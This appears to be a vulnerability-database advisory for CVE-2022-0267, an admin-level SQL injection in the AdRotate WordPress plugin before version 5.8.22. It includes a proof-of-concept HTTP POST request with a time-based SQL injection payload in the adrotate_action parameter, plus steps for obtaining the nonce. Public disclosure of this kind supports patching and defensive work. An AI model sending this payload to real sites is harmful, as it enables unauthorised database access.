AdRotate < 5.8.22 – Admin+ SQL Injection | CVE 2022-0267 | Plugin Vulnerabilities

Description

The plugin does not sanitise and escape the adrotate_action before using it in a SQL statement via the adrotate_request_action function available to admins, leading to a SQL injection

Proof of Concept

Get the nonce from one of the bulk action, for example /wp-admin/admin.php?page=adrotate and look for adrotate_nonce in the source

POST /wp-admin/ HTTP/1.1
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 107
Connection: close
Cookie: [admin+]

adrotate_action_submit=1&adrotate_nonce=07d896329d&adrotate_action=renew-1 where sleep(10)#&bannercheck[]=1

Affects Plugins

Fixed in 5.8.22

References

CVE

Classification

Type

SQLI

OWASP top 10

CWE

CVSS

Miscellaneous

Original Researcher

ZhongFu Su(JrXnm) of Wuhan University

Submitter

ZhongFu Su(JrXnm) of Wuhan University

Submitter website

https://blog.szfszf.top

Submitter twitter

Verified

Yes

WPVDB ID

7df70f49-547f-4bdb-bf9b-2e06f93488c6

Timeline

Publicly Published

2022-02-07 (about 3 years ago)

Added

2022-02-07 (about 3 years ago)

Last Updated

2022-09-26 (about 3 years ago)

Other

Published

Title

Published

2022-04-13

Title

Product Filter For WooCommerce Product <= 1.3.0 - Unauthenticated SQLi

Published

2024-09-11

Title

LearnPress – WordPress LMS Plugin < 4.2.7.1 - Unauthenticated SQL Injection via 'c_only_fields'

Published

2022-12-02

Title

Plugin Logic < 1.0.8 - Admin+ SQLi

Published

2025-01-15

Title

Taskbuilder < 3.0.7 - Authenticated (Subscriber+) SQL Injection

Published

2025-06-05

Title

WP Text Expander <= 1.0.1 - Authenticated (Administrator+) SQL Injection